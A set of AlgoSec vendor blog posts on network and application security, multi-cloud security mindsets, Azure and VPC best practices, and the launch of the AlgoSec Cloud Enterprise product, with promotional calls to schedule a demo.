Well-configured firewall deployments don’t just protect internal assets from incoming traffic, they also protect against data from leaking outside the network as well. Intrusion Prevention Systems (IPS) are security tools that continuously monitor the network for malicious activity and take action to block unauthorized processes. They may search for known threat signatures, monitor for abnormal network activity, or enforce custom security policies. Virtual Private Networks (VPNs) encrypt traffic between networks and hide users’ IP addresses from the public internet. This is useful for maintaining operational security in a complex network environment because it prevents threat actors from intercepting data in transit. Access control tools allow security leaders to manage who is authorized to access data and resources on the network. Secure access control policies determine which users have permission to access sensitive assets, and the conditions under which that access might be revoked. Why is Network Security Important? Network security tools protect organizations against cyberattacks that target their network infrastructure, and prevent hackers from conducting lateral movement. Many modern network security solutions focus on providing deep visibility into network traffic, so that security teams can identify threat actors who have successfully breached the network perimeter and gained unauthorized access. Network Security Technologies and Strategies Firewalls : These tools guard the perimeters of network infrastructure. Firewalls filter incoming and outgoing traffic to prevent malicious activity. They also play an important role in establishing boundaries between network zones, allowing security teams to carefully monitor users who move between different parts of the network. These devices must be continuously monitored and periodically reconfigured to meet the organization’s changing security needs. VPNs : Secure remote access and IP address confidentiality is an important part of network security. VPNs ensure users do not leak IP data outside the network when connecting to external sources. They also allow remote users to access sensitive assets inside the network even when using unsecured connections, like public Wi-Fi. Zero Trust Models : Access control and network security tools provide validation for network endpoints, including IoT and mobile devices. This allows security teams to re-authenticate network users even when they have already verified their identities and quickly disconnect users who fail these authentication checks. What is Application Security? Application security addresses security threats to public-facing applications, including APIs. These threats may include security misconfigurations, known vulnerabilities, and threat actor exploits. Since these network assets have public-facing connections, they are technically part of the network perimeter — but they do not typically share the same characteristics as traditional network perimeter assets. Unlike network security, application security extends to the development and engineering process that produces individual apps. It governs many of the workflows that developers use when writing code for business contexts. One of the challenges to web application security is the fact that there is no clear and universal definition for what counts as an application. Most user-interactive tools and systems count, especially ones that can process data automatically through API access. However, the broad range of possibilities leads to an enormous number of potential security vulnerabilities and exposures, all of which must be accounted for. Several frameworks and methods exist for achieving this: The OWASP Top Ten is a cybersecurity awareness document that gives developers a broad overview of the most common application vulnerabilities . Organizations that adopt the document give software engineers clear guidance on the kinds of security controls they need to build into the development lifecycle. The Common Weakness Enumeration (CWE) is a long list of software weaknesses known to lead to security issues. The CWE list is prioritized by severity, giving organizations a good starting point for improving application security. Common Vulnerabilities and Exposures (CVE) codes contain extensive information on publicly disclosed security vulnerabilities, including application vulnerabilities. Every vulnerability has its own unique CVE code, which gives developers and security professionals the ability to clearly distinguish them from one another. Key Concepts of Application Security The main focus of application security is maintaining secure environments inside applications and their use cases. It is especially concerned with the security vulnerabilities that arise when web applications are made available for public use. When public internet users can interact with a web application directly, the security risks associated with that application rise significantly. As a result, developers must adopt security best practices into their workflows early in the development process. The core elements of application security include: Source code security, which describes a framework for ensuring the security of the source code that powers web-connected applications. Code reviews and security approvals are a vital part of this process, ensuring that vulnerable code does not get released to the public. Securing the application development lifecycle by creating secure coding guidelines, providing developers with the appropriate resources and training, and creating remediation service-level agreements (SLAs) for application security violations. Web application firewalls, which operate separately from traditional firewalls and exclusively protect public-facing web applications and APIs. Web application firewalls monitor and filter traffic to and from a web source, protecting web applications from security threats wherever they happen to be located. Why is Application Security Important? Application security plays a major role ensuring the confidentiality, integrity, and availability of sensitive data processed by applications. Since public-facing applications often collect and process end-user data, they make easy targets for opportunistic hackers. At the same time, robust application security controls must exist within applications to address security vulnerabilities when they emerge and prevent data breaches. Application Security Technologies Web Application Firewalls. These firewalls provide protection specific to web applications, preventing attackers from conducting SQL injection, cross-site scripting, and denial-of-service attacks, among others. These technical attacks can lead to application instability and leak sensitive information to attackers. Application Security Testing. This important step includes penetration testing, vulnerability scanning, and the use of CWE frameworks. Pentesters and application security teams work together to ensure public-facing web applications and APIs hold up against emerging threats and increasingly sophisticated attacks. App Development Security. Organizations need to incorporate security measures into their application development processes. DevOps security best practices include creating modular, containerized applications uniquely secured against threats regardless of future changes to the IT environment or device operating systems. Integrating Network and Application Security Network and application security are not mutually exclusive areas of expertise. They are two distinct parts of your organization’s overall security posture. Identifying areas where they overlap and finding solutions to common problems will help you optimize your organization’s security capabilities through a unified security approach. Overlapping Areas Network and application security solutions protect distinct areas of the enterprise IT environment, but they do overlap in certain areas. Security leaders should be aware of the risk of over-implementation, or deploying redundant security solutions that do not efficiently improve security outcomes. Security Solutions : Both areas use security tools like intrusion prevention systems, authentication, and encryption. Network security solutions may treat web applications as network entry points, but many hosted web applications are located outside the network perimeter. This makes it difficult to integrate the same tools, policies, and controls uniformly across web application toolsets. Cybersecurity Strategy : Your strategy is an integral part of your organization’s security program, guiding your response to different security threats. Security architects must configure network and application security solutions to work together in use case scenarios where one can meaningfully contribute to the other’s operations. Unique Challenges Successful technology implementations of any kind come with challenges, and security implementations are no different. Both application and network security deployments will present issues that security leaders must be prepared to address. Application security challenges include: Maintaining usability. End users will not appreciate security implementations that make apps harder to use. Security teams need to pay close attention to how new features impact user interfaces and workflows. Detecting vulnerabilities in code. Ensuring all code is 100% free of vulnerabilities is rarely feasible. Instead, organizations need to adopt a proactive approach to detecting vulnerabilities in code and maintaining source code security. Managing source code versioning. Implementing DevSecOps processes can make it hard for organizations to keep track of continuously deployed security updates and integrations. This may require investing in additional toolsets and versioning capabilities. Network security challenges include: Addressing network infrastructure misconfigurations. Many network risks stem from misconfigured firewalls and other security tools. One of the main challenges in network security is proactively identifying these misconfigurations and resolving them before they lead to security incidents. Monitoring network traffic efficiently. Monitoring network traffic can make extensive use of limited resources, leading to performance issues or driving up network-related costs. Security leaders must find ways to gain insight into security issues without raising costs beyond what the organization can afford. Managing network-based security risks effectively. Translating network activity insights into incident response playbooks is not always easy. Simply knowing that unauthorized activity might be happening is not enough. Security teams must also be equipped to address those risks and mitigate potential damage. Integrating Network and Application Security for Unified Protection A robust security posture must contain elements of both network and application security. Public-facing applications must be able to filter out malicious traffic and resist technical attacks, and security teams need comprehensive visibility into network activity and detecting insider threats . This is especially important in cloud-enabled hybrid environments. If your organization uses cloud computing through a variety of public and private cloud vendors, you will need to extend network visibility throughout the hybrid network. Maintaining cloud security requires a combination of network and web application security capable of producing results in a cost-effective way. Highly automated security platforms can help organizations implement proactive security measures that reduce the need to hire specialist internal talent for every configuration and policy change. Enterprise-ready cloud security solutions leverage automation and machine learning to reduce operating costs and improve security performance across the board. Unify Network and Application Security with AlgoSec No organization can adequately protect itself from a wide range of cyber threats without investing in both network and application security. Technology continues to evolve and threat actors will adapt their tactics to exploit new vulnerabilities as they are discovered. Integrating network and application security into a single, unified approach gives security teams the ability to create security policies and incident response plans that address real-world threats more effectively. Network visibility and streamlined change management are vital to achieving this goal. AlgoSec is a security policy management and application connectivity platform that provides in-depth information on both aspects of your security posture. Find out how AlgoSec can help you centralize policy and change management in your network. Schedule a demo Related Articles Q1 at AlgoSec: What innovations and milestones defined our start to 2026? AlgoSec Reviews Mar 19, 2023 · 2 min read 2025 in review: What innovations and milestones defined AlgoSec’s transformative year in 2025? AlgoSec Reviews Mar 19, 2023 · 2 min read Navigating Compliance in the Cloud AlgoSec Cloud Mar 19, 2023 · 2 min read Speak to one of our experts Speak to one of our experts Work email* First name* Last name* Company* country* Select country... Short answer* By submitting this form, I accept AlgoSec's privacy policy Schedule a call

Level Up Your Security Game: Time for a Mindset Reset! Hey everyone, and welcome! If you're involved in keeping your organization safe online these days, you're in the right place. For years, security felt like building a super strong castle with thick walls and a deep moat, hoping the bad guys would just stay outside. But let's be real, in our multi-cloud world, that castle is starting to look a little... outdated. Think about it: your apps and data aren't neatly tucked away in one place... 5 mindset shifts security teams must adopt to master multi-cloud security Iris Stein 2 min read Iris Stein Short bio about author here Lorem ipsum dolor sit amet consectetur. Vitae donec tincidunt elementum quam laoreet duis sit enim. Duis mattis velit sit leo diam. Tags Share this article 4/9/25 Published Level Up Your Security Game: Time for a Mindset Reset! Hey everyone, and welcome! If you're involved in keeping your organization safe online these days, you're in the right place. For years, security felt like building a super strong castle with thick walls and a deep moat, hoping the bad guys would just stay outside. But let's be real, in our multi-cloud world, that castle is starting to look a little... outdated. Think about it: your apps and data aren't neatly tucked away in one place anymore. They're bouncing around on AWS, Azure, GCP, all sorts of platforms – practically everywhere! Trying to handle that with old-school security is like trying to catch smoke with a fishing net. Not gonna work, right? That's why we're chatting today. Gal Yosef, Head of Product Management in the U.S., gets it. He's helped us dive into some crucial mindset shifts – basically, new ways of thinking – that are essential for navigating the craziness of modern security. We gotta ditch the old ways and get ready to be more agile, work together better, and ultimately, be way more effective. Mindset Shift #1: From "Our Stuff is Safe Inside This Box" to "Trust Nothing, Verify Everything" Remember the good old days? We built a perimeter – firewalls, VPNs – thinking that everything inside was safe and sound (danger!). Security was all about guarding that edge. The Problem: Well, guess what? That world is gone! Multi-cloud environments have totally shattered that perimeter. Trying to just secure the network edge leaves your real treasures – your applications, users, and data – vulnerable as they roam across different clouds. It's like locking the front door but leaving all the windows wide open! The New Way: Distributed Trust. Security needs to follow your assets, wherever they go. Instead of just focusing on the infrastructure (the pipes and wires), we need to embrace Zero-Trust principles . Think of it like this: never assume anyone or anything is trustworthy, even if they're "inside." We need identity-based, adaptive security policies that constantly validate trust, rather than just assuming it based on location. Security becomes built into applications and workloads, not just bolted onto the network. Think of it this way: Instead of one big, guarded gate, you have individual, smart locks on every valuable asset. You're constantly checking who's accessing what, no matter where they are. It's like having a personal bodyguard for each of your important things, always making sure they have the right ID. Mindset Shift #2: From "My Team Handles Network Security, Their Team Handles Cloud Security" to "Let's All Be Security Buddies!" Ever feel like your network security team speaks a different language than your cloud security team? You're not alone! Traditionally, these have been separate worlds, with network teams focused on firewalls and cloud teams on security groups. The Problem: These separate silos are a recipe for confusion and fragmented security policies. Attackers? They love this! It's like having cracks in your armor. They aren't always going to bash down the front door; they're often slipping through the gaps created by this lack of communication. The New Way: Cross-functional collaboration. We need to tear down those walls! Network and cloud security teams need to work together, speaking a shared security language. Unified visibility and consistent policies across all your environments are key. Think of it like a superhero team – everyone has their own skills, but they work together seamlessly to fight the bad guys. Regular communication, shared tools, and a common understanding of the risks are crucial. Mindset Shift #3: From "Reacting When Something Breaks" to "Always Watching and Fixing Things Before They Do" Remember the old days of waiting for an alert to pop up saying something was wrong? That's like waiting for your car to break down before you even think about checking the oil. Not the smartest move, right? The Problem: In the fast-paced world of the cloud, waiting for things to go wrong is a recipe for disaster. Attacks can happen super quickly, and by the time you react, the damage might already be done. Plus, manually checking everything all the time? Forget about it – it's just not scalable when you've got stuff spread across multiple clouds. The New Way: Continuous & Automated Enforcement. We need to shift to a mindset of constant monitoring and automated security actions. Think of it like having a security system that's always on, always learning, and can automatically respond to threats in real-time. This means using tools and processes that continuously check for vulnerabilities, enforce security policies automatically, and even predict potential problems before they happen. It's like having a proactive security guard who not only watches for trouble but can also automatically lock doors and sound alarms the moment something looks fishy. Mindset Shift #4: From "Locking Everything Down Tight" to "Finding the Right Balance with Flexible Rules" We used to think the best security was the strictest security – lock everything down, say "no" to everything. But let's be honest, that can make it super hard for people to actually do their jobs! It's like putting so many locks on a door that nobody can actually get through it. The Problem: Overly restrictive security can stifle innovation and slow things down. Developers can get frustrated, and the business can't move as quickly as it needs to. Plus, sometimes those super strict rules can even create workarounds that actually make things less secure in the long run. The New Way: Flexible Guardrails. We need to move towards security that provides clear boundaries (the "guardrails") but also allows for agility and flexibility. Think of it like setting clear traffic laws – you know what's allowed and what's not, but you can still drive where you need to go. This means defining security policies that are adaptable to different cloud environments and business needs. It's about enabling secure innovation, not blocking it. We need to find that sweet spot where security empowers the business instead of hindering it. Mindset Shift #5: From "Security is a Cost Center" to "Security is a Business Enabler" Sometimes, security gets seen as just an expense, something we have to do but doesn't really add value. It's like thinking of insurance as just another bill. The Problem: When security is viewed as just a cost, it often gets underfunded or seen as a roadblock. This can lead to cutting corners and ultimately increasing risk. It's like trying to save money by neglecting the brakes on your car – it might seem cheaper in the short term, but it can have disastrous consequences later. The New Way: Security as a Business Enabler. We need to flip this thinking! Strong security isn't just about preventing bad things from happening; it's about building trust with customers, enabling new business opportunities, and ensuring the long-term resilience of the organization. Think of it like a strong foundation for a building – without it, you can't build anything lasting. By building security into our processes and products from the start, we can actually accelerate innovation and gain a competitive advantage. It's about showing our customers that we take their data seriously and that they can trust us. Wrapping Up: Moving to a multi-cloud world is exciting, but it definitely throws some curveballs at how we think about security. By adopting these five new mindsets, we can ditch the outdated castle mentality and build a more agile, collaborative, and ultimately more secure future for our organizations. It's not about being perfect overnight, but about starting to shift our thinking and embracing these new approaches. So, let's level up our security game together! Schedule a demo Related Articles Q1 at AlgoSec: What innovations and milestones defined our start to 2026? AlgoSec Reviews Mar 19, 2023 · 2 min read 2025 in review: What innovations and milestones defined AlgoSec’s transformative year in 2025? AlgoSec Reviews Mar 19, 2023 · 2 min read Navigating Compliance in the Cloud AlgoSec Cloud Mar 19, 2023 · 2 min read Speak to one of our experts Speak to one of our experts Work email* First name* Last name* Company* country* Select country... Short answer* By submitting this form, I accept AlgoSec's privacy policy Schedule a call

Azure Security Best Practices: Don't Get Caught with Your Cloud Pants Down   Executive Summary   The cloud isn't some futuristic fantasy... Cloud Security Azure Security Best Practices Asher Benbenisty 2 min read Asher Benbenisty Short bio about author here Lorem ipsum dolor sit amet consectetur. Vitae donec tincidunt elementum quam laoreet duis sit enim. Duis mattis velit sit leo diam. Tags Share this article 11/25/24 Published Azure Security Best Practices: Don't Get Caught with Your Cloud Pants Down Executive Summary The cloud isn't some futuristic fantasy anymore, folks. It's the backbone of modern business, and Azure is charging hard, fueled by AI, to potentially dethrone AWS by 2026. But with this breakneck adoption comes a harsh reality: security can't be an afterthought. This article dives deep into why robust security practices are non-negotiable in Azure and how tools like Microsoft Sentinel and Defender XDR can be your digital bodyguards. Introduction Let's face it, organizations are flocking to the cloud like moths to a digital flame. Why? Cost savings, streamlined operations, and the ability to scale at warp speed. We're talking serious money here – a projected $805 billion spent on public cloud services in 2024! The cloud's not just disrupting the game; it is the game. And the playing field is shifting. AWS might be the king of the hill right now, but Azure's hot on its heels, thanks to some serious AI muscle. ( As of 2024, they hold market shares of 31%, 24%, and 11%, respectively .) Forbes even predicts an Azure takeover by 2026. Exciting times, right? Hold your horses. This rapid cloud adoption has a dark side. Security threats are lurking around every corner, and sticking to best practices is more crucial than ever. Cloud service managers, listen up: you need to wrap your heads around the shared responsibility model (Figure 1). Think of it like this: you and Azure are partners in crime prevention. You're both responsible for keeping your digital assets safe, but you need to know who's holding which piece of the security puzzle. Don't assume security is built-in – it's a team effort, and you need to pull your weight. Figure 1: The shared responsibility model Azure's Security Architecture: A Fortress in the Cloud Okay, I get it. The shared responsibility model can feel like navigating a maze blindfolded. But here's the deal: whether you're dabbling in IaaS, PaaS, or SaaS, Azure's got your infrastructure covered. Their global network of data centers is built like Fort Knox, meeting industry standards like ISO/IEC 27001:2022 , HIPAA , and NIST SP 800-53 . But remember your part of the bargain! Azure provides a killer arsenal of security products to protect your workloads, both in Azure and beyond. Figure 2: Azure’s security architecture Take Microsoft Sentinel, for example. This superhero of a tool automatically sniffs out threats, investigates them, and neutralizes them before they can wreak havoc. It's like having a 24/7 security team with superhuman senses. And don't forget about Microsoft Defender XDR. This comprehensive security suite is like a digital Swiss Army knife, protecting your identities, endpoints, applications, email, and cloud apps. It's got your back, no matter where you turn. With Sentinel and Defender XDR in your corner, you're well-equipped to tackle the security challenges that come with cloud adoption. But don't get complacent! Let's dive into some core security best practices that will make your Azure environment an impenetrable fortress. Core Security Best Practices: Lock Down Your Secrets Protecting Secrets: Best Practices Using Azure Key Vault We all have secrets, right? In the digital world, those secrets are things like passwords, API keys, and encryption keys. You can't just leave them lying around for any cybercriminal to snatch. That's where Azure Key Vault comes in. This secure vault is like a digital safe deposit box for your sensitive data. It uses hardware security modules (HSMs) to keep your secrets locked down tight, even if someone manages to breach your defenses. Big names like Victoria's Secret & Co , Evup, and Sage trust Key Vault to keep their secrets safe. Figure 3: A new Key Vault named “algosec-kv” Here's a pro tip: once you've stashed your secrets in Key Vault, use a managed identity to access them. This eliminates the need to hardcode credentials in your code, minimizing the risk of exposure. var client = new SecretClient(new Uri("https://. vault.azure.net/ "), new DefaultAzureCredential(),options); KeyVaultSecret secret = client.GetSecret(""); string secretValue = secret.Value; Key Vault is a fantastic tool, but it's not a silver bullet. Download our checklist of additional best practices to keep your secrets safe: Database and Data Security: More Than Just Locking the Door Azure offers a smorgasbord of data storage solutions, from Azure SQL Database to Azure Blob Storage. But securing your data isn't just about protecting it at rest. You need to think about data in use and data in transit, too. Download our checklist for a full action plan: Identity Management: Who Are You, and What Are You Doing Here? Encryption is great, but it's only half the battle. You need to know who's accessing your resources and what they're doing. That's where identity access management (IAM) comes in. Think of IAM as a digital bouncer, controlling access to your network resources. It's all about verifying identities and granting the right level of access – no more, no less. Zero-trust network access (ZTNA) is your secret weapon here. It's like having a security checkpoint at every corner of your network, ensuring that only authorized users can access your resources. Figure 4: Zero-trust security architecture Remember the Capital One breach? A misconfigured firewall and overly broad permissions led to a massive data leak. Don't let that be you! Follow Azure's IAM documentation to build a robust and secure identity management system. Network Security: Building a Digital Moat Your network architecture is the foundation of your security posture. Choose wisely, my friends! The hub-spoke model is a popular choice in Azure, centralizing common services in a secure hub and isolating workloads in separate spokes. Figure 5: Hub-spoke network architecture in Azure (Source: Azure documentation ) For a checklist of how the hub-spoke model can boosts your security, download our checklist here. Digital Realty , a real estate investment giant, uses the hub-spoke model to secure its global portal and REST APIs. It's a testament to the power of this architecture for both security and performance. Figure 6: Digital Realty’s use of hub-spoke architecture (Adapted from Microsoft Customer Stories ) Operational Security: Stay Vigilant, Stay Secure (Continued) When a security incident strikes, your response time is critical. Think of operational security as your digital first aid kit. It's about minimizing human error and automating processes to speed up threat detection and response. We've already talked about MFA, password management, and the dynamic duo of Defender XDR and Sentinel. Download our checklist for a few more operational security essentials to add to your arsenal. Figure 7: Build-deploy workflow automation (Source: Azure documentation ) Think of these best practices as guardrails, guiding you toward secure decisions. But remember, flexibility is key. Adapt these practices to your specific environment and architecture. Conclusion As Azure's popularity skyrockets, so do the stakes. The shared responsibility model means you're not off the hook when it comes to security. Azure provides powerful tools like Sentinel and Defender XDR, but it's up to you to use them wisely and follow best practices. Protect your secrets like they're buried treasure, secure your data with Fort Knox-level encryption, implement identity management that would make a border patrol agent proud, and build a network architecture that's a digital fortress. And don't forget about operational security – it's the glue that holds it all together. But let's be real, managing security policies across multiple clouds can be a nightmare. That's where tools like AlgoSec CloudFlow come in. They provide a clear view of your security landscape, helping you identify vulnerabilities and streamline policy management. It's like having a security command center for your entire cloud infrastructure. So, what are you waiting for? Request a demo today and let AlgoSec help you build an Azure environment that's so secure, even the most determined cybercriminals will be left scratching their heads. Schedule a demo Related Articles Q1 at AlgoSec: What innovations and milestones defined our start to 2026? AlgoSec Reviews Mar 19, 2023 · 2 min read 2025 in review: What innovations and milestones defined AlgoSec’s transformative year in 2025? AlgoSec Reviews Mar 19, 2023 · 2 min read Navigating Compliance in the Cloud AlgoSec Cloud Mar 19, 2023 · 2 min read Speak to one of our experts Speak to one of our experts Work email* First name* Last name* Company* country* Select country... Short answer* By submitting this form, I accept AlgoSec's privacy policy Schedule a call

Secure VPC as the main pillar of cloud security      Remember the Capital One breach back in 2019 ? 100 million customers' data exposed,... Cloud Security A secure VPC as the main pillar of cloud security Asher Benbenisty 2 min read Asher Benbenisty Short bio about author here Lorem ipsum dolor sit amet consectetur. Vitae donec tincidunt elementum quam laoreet duis sit enim. Duis mattis velit sit leo diam. Tags Share this article 11/11/24 Published Secure VPC as the main pillar of cloud security Remember the Capital One breach back in 2019 ? 100 million customers' data exposed, over $270 million in fines – all because of a misconfigured WAF. Ouch! A brutal reminder that cloud security is no joke. And with cloud spending skyrocketing to a whopping $675.4 billion this year, the bad guys are licking their chops. The stakes? Higher than ever. The cloud's a dynamic beast, constantly evolving, with an attack surface that's expanding faster than a pufferfish in a staring contest. To stay ahead of those crafty cybercriminals, you need a security strategy that's as agile as a ninja warrior. That means a multi-layered approach, with network security as the bedrock. Think of it as the backbone of your cloud fortress, ensuring all your communication channels – internal and external – are locked down tighter than Fort Knox. In this post, we're shining the spotlight on Virtual Private Clouds (VPCs) – the cornerstone of your cloud network security. But here's the kicker: native cloud tools alone won't cut it. They're like a bicycle in a Formula 1 race – good for a leisurely ride, but not built for high-speed security. We'll delve into why and introduce you to AlgoSec, the solution that turbocharges your VPC security and puts you in the driver's seat. The 5 Pillars of Cloud Security: A Quick Pit Stop Before we hit the gas on VPCs, let's do a quick pit stop to recap the five foundational pillars of a rock-solid cloud security strategy: Identity and Access Management (IAM): Control who gets access to what with the principle of least privilege and role-based access control. Basically, don't give the keys to the kingdom to just anyone! Keep a watchful eye with continuous monitoring and logging of access patterns. Integrate with SIEM systems to boost your threat detection and response capabilities. Think of it as having a security guard with night vision goggles patrolling your cloud castle 24/7. Data Encryption: Protect your sensitive data throughout its lifecycle – whether it's chilling in your cloud servers or traveling across networks. Think of it as wrapping your crown jewels in multiple layers of security, making them impenetrable to those data-hungry thieves. Network Security: This is where VPCs take center stage! But it's more than just VPCs – you also need firewalls, security groups, and constant vigilance to keep your network fortress impenetrable. It's like having a multi-layered defense system with moats, drawbridges, and archers ready to defend your cloud kingdom. Compliance and Governance: Don't forget those pesky regulations and internal policies! Use audit trails, resource tagging, and Infrastructure as Code (IaC) to stay on the right side of the law. It's like having a compliance officer who keeps you in check and ensures you're always playing by the rules. Incident Response and Recovery: Even with the best defenses, breaches can happen. It's like a flat tire on your cloud journey – annoying, but manageable with the right tools. Be prepared with real-time threat detection, automated response, and recovery plans that'll get you back on your feet faster than a cheetah on Red Bull. Why Network Security is Your First Line of Defense Network security is like the moat around your cloud castle, the first line of defense against those pesky attackers. Breaches can cost you a fortune, ruin your reputation faster than a bad Yelp review, and send your customers running for the hills. Remember when Equifax suffered a massive data breach in 2017 due to an unpatched vulnerability? Or the ChatGPT breach in 2023 where a misconfigured database exposed sensitive user data? These incidents are stark reminders that even a small slip-up can have massive consequences. VPCs: Building Your Secure Cloud Fortress VPCs are like creating your own private kingdom within the vast public cloud. You get to set the rules, control access, and keep those unwanted visitors out. This isolation is crucial for preventing those sneaky attackers from gaining a foothold and wreaking havoc. With VPCs, you have granular control over your network traffic – think of it as directing the flow of chariots within your kingdom. You can define routing tables, create custom IP address ranges, and isolate different sections of your cloud environment. But here's the thing: VPCs alone aren't enough. You still need to connect to the outside world, and that's where secure options like VPNs and dedicated interconnects come in. Think of them as secure tunnels and bridges that allow safe passage in and out of your kingdom. Native Cloud Tools: Good, But Not Good Enough The cloud providers offer their own security tools – think AWS CloudTrail, Azure Security Center, and Google Cloud's Security Command Center. They're a good starting point, like a basic toolkit for your cloud security needs. But they often fall short when it comes to dealing with the complexities of today's cloud environments. Here's why: Lack of Customization: They're like one-size-fits-all suits – they might kinda fit, but they're not tailored to your specific needs. You need a custom-made suit of armor for your cloud kingdom, not something off the rack. Blind Spots in Multi-Cloud Environments: If you're juggling multiple cloud platforms, these tools can leave you with blind spots, making it harder to keep an eye on everything. It's like trying to guard a castle with multiple entrances and only having one guard. Configuration Nightmares: Misconfigurations are like leaving the back door to your castle wide open. Native tools often lack the robust detection and prevention mechanisms you need to avoid these costly mistakes. You need a security system with motion sensors, alarms, and maybe even a moat with crocodiles to keep those intruders out. Integration Headaches: Trying to integrate these tools with other security solutions can be like fitting a square peg into a round hole. This can leave gaps in your security posture, making you vulnerable to attacks. You need a security system that works seamlessly with all your other defenses, not one that creates more problems than it solves. To overcome these limitations and implement best practices for securing your AWS environment, including VPC configuration and management, download our free white paper: AWS Best Practices: Strengthening Your Cloud Security Posture . AlgoSec: Your Cloud Security Superhero This is where AlgoSec swoops in to save the day! AlgoSec is like the ultimate security concierge for your cloud environment. It streamlines and automates security policy management across all your cloud platforms – whether it's a hybrid setup or a multi-cloud extravaganza. Here's how it helps you conquer the cloud security challenge: X-Ray Vision for Your Network: AlgoSec gives you complete visibility into your network, automatically discovering and mapping your applications and their connections. It's like having X-ray vision for your cloud fortress, allowing you to see every nook and cranny where those sneaky attackers might be hiding. Automated Policy Enforcement: Say goodbye to manual errors and inconsistencies. AlgoSec automates your security policy management, ensuring everything is locked down tight across all your environments. It's like having a tireless army of security guards enforcing your rules 24/7. Risk Prediction and Prevention: AlgoSec is like a security fortune teller, predicting and preventing risks before they can turn into disasters. It's like having a crystal ball that shows you where the next attack might come from, allowing you to prepare and fortify your defenses. Compliance Made Easy: Stay on the right side of those regulations with automated compliance checks and audit trails. It's like having a compliance officer who whispers in your ear and keeps you on the straight and narrow path. Integration Wizardry: AlgoSec plays nicely with other security tools and cloud platforms, ensuring a seamless and secure ecosystem. It's like having a universal translator that allows all your security systems to communicate and work together flawlessly. The Bottom Line VPCs are the foundation of a secure cloud environment, but you need more than just the basics to stay ahead of the bad guys. AlgoSec is your secret weapon, providing the comprehensive security management and automation you need to conquer the cloud with confidence. It's like having a superhero on your side, always ready to defend your cloud kingdom from those villainous attackers. AWS Security Expertise at Your Fingertips Dive deeper into AWS security best practices with our comprehensive white paper. Learn how to optimize your VPC configuration, enhance network security, and protect your cloud assets. Download AWS security best practices white paper now! If you’re looking to enhance your cloud network security, explore AlgoSec's platform.  Request a demo to see how AlgoSec can empower you to create a secure, compliant, and resilient cloud infrastructure. Dive deeper into cloud security: Read our previous blog post, Unveiling Cloud's Hidden Risks , to uncover the top challenges and learn how to gain control of your cloud environment. Don't miss out : We'll be publishing more valuable insights on critical cloud security topics, including Security as Code implementation, Azure best practices, Kubernetes security, and cloud encryption. These articles will equip you with the knowledge and tools to strengthen your cloud defenses. Subscribe to our blog to stay informed and join us on the journey to a safer and more resilient cloud future. Have a specific cloud security challenge? Contact us today for a free consultation. Schedule a demo Related Articles Q1 at AlgoSec: What innovations and milestones defined our start to 2026? AlgoSec Reviews Mar 19, 2023 · 2 min read 2025 in review: What innovations and milestones defined AlgoSec’s transformative year in 2025? AlgoSec Reviews Mar 19, 2023 · 2 min read Navigating Compliance in the Cloud AlgoSec Cloud Mar 19, 2023 · 2 min read Speak to one of our experts Speak to one of our experts Work email* First name* Last name* Company* country* Select country... Short answer* By submitting this form, I accept AlgoSec's privacy policy Schedule a call

Is it getting harder and harder to keep track of all your cloud assets?  You're not alone. In today's dynamic world of hybrid and... Cloud Security Introducing AlgoSec Cloud Enterprise: Your Comprehensive App-First Cloud Security Solution Iris Stein 2 min read Iris Stein Short bio about author here Lorem ipsum dolor sit amet consectetur. Vitae donec tincidunt elementum quam laoreet duis sit enim. Duis mattis velit sit leo diam. Tags Share this article 1/27/25 Published Is it getting harder and harder to keep track of all your cloud assets? You're not alone. In today's dynamic world of hybrid and multi-cloud environments, maintaining clear visibility of your IT infrastructure has never been more complex. 82% of organizations report that lack of visibility is a major factor in cloud security breaches. Traditional tools often fall short, leaving potential security vulnerabilities exposed and your business at risk. But there's good news! Introducing AlgoSec Cloud Enterprise (ACE) , a game-changer for managing and securing your on-premises and cloud networks. ACE provides the visibility, automation, and control you need to protect your business, no matter where your applications reside. What is AlgoSec Cloud Enterprise? AlgoSec Cloud Enterprise (ACE) is a comprehensive application-centric security solution built for the modern cloud enterprise. It empowers organizations to gain complete visibility, enforce consistent policies, and accelerate application delivery across cloud and on-premises environments. AlgoSec Cloud Enterprise (ACE) is the latest addition to AlgoSec's Horizon Platform, a comprehensive suite of security solutions designed to protect your applications and data. By integrating ACE into the Horizon Platform, AlgoSec offers a unified approach to securing your entire IT infrastructure, from on-premises to multi-cloud environments. For existing AlgoSec customers: ACE seamlessly integrates with your current AlgoSec deployments, extending your security posture to encompass the dynamic world of cloud and containers. For new AlgoSec customers: ACE provides a unified solution to manage security across your entire cloud estate, simplifying operations and reducing risk. Key Features and Capabilities ACE is packed with powerful features to help you take control of your application security: Deep application visibility: ACE discovers and maps all your applications and their components, providing a comprehensive view of your application landscape. You gain insights into application dependencies, vulnerabilities, and risks, enabling you to identify and address security gaps proactively. Unified security policy management: Define and enforce consistent security policies across all your environments, from the cloud to on-premises. This ensures uniform protection for all your applications and simplifies security management. Automated security and compliance: Automate critical security tasks, such as vulnerability assessment, compliance monitoring, and security change management. This reduces the risk of human error and frees up your security team to focus on more strategic initiatives. Organizations using automation in their security operations report a 25% reduction in security incidents . Streamlined change management: Accelerate application delivery with automated security workflows. ACE simplifies change management processes, ensuring that security keeps pace with the speed of your business. Maintain a full audit trail of all changes for complete compliance and accountability. Detect and prevent risks across the supply chain and CI/CD pipelines: Identify vulnerabilities in applications and block malicious containerized workloads from compromising business-critical production environments. Addressing Customer Pain Points ACE is designed to solve the real-world challenges faced by security teams today: Reduce application risk: Proactively identify and mitigate vulnerabilities and security threats to your applications. Accelerate application delivery: Streamline security processes and automate change management to speed up deployments. Ensure application compliance: Meet regulatory requirements and industry standards with automated compliance monitoring and reporting. Gain complete visibility: Understand your application landscape and identify potential security risks. Simplify application security management: Manage security policies and controls from a single, unified pane of glass. Prevent vulnerabilities from moving to production Ready to take your application security to the next level? Visit the AlgoSec Cloud Enterprise product page to learn more. Download our datasheet, request a personalized demo, or sign up for a free trial to experience the power of ACE for yourself. We're confident that ACE will revolutionize the way you secure your applications in the cloud. Contact us today to get started! Schedule a demo Related Articles Q1 at AlgoSec: What innovations and milestones defined our start to 2026? AlgoSec Reviews Mar 19, 2023 · 2 min read 2025 in review: What innovations and milestones defined AlgoSec’s transformative year in 2025? AlgoSec Reviews Mar 19, 2023 · 2 min read Navigating Compliance in the Cloud AlgoSec Cloud Mar 19, 2023 · 2 min read Speak to one of our experts Speak to one of our experts Work email* First name* Last name* Company* country* Select country... Short answer* By submitting this form, I accept AlgoSec's privacy policy Schedule a call

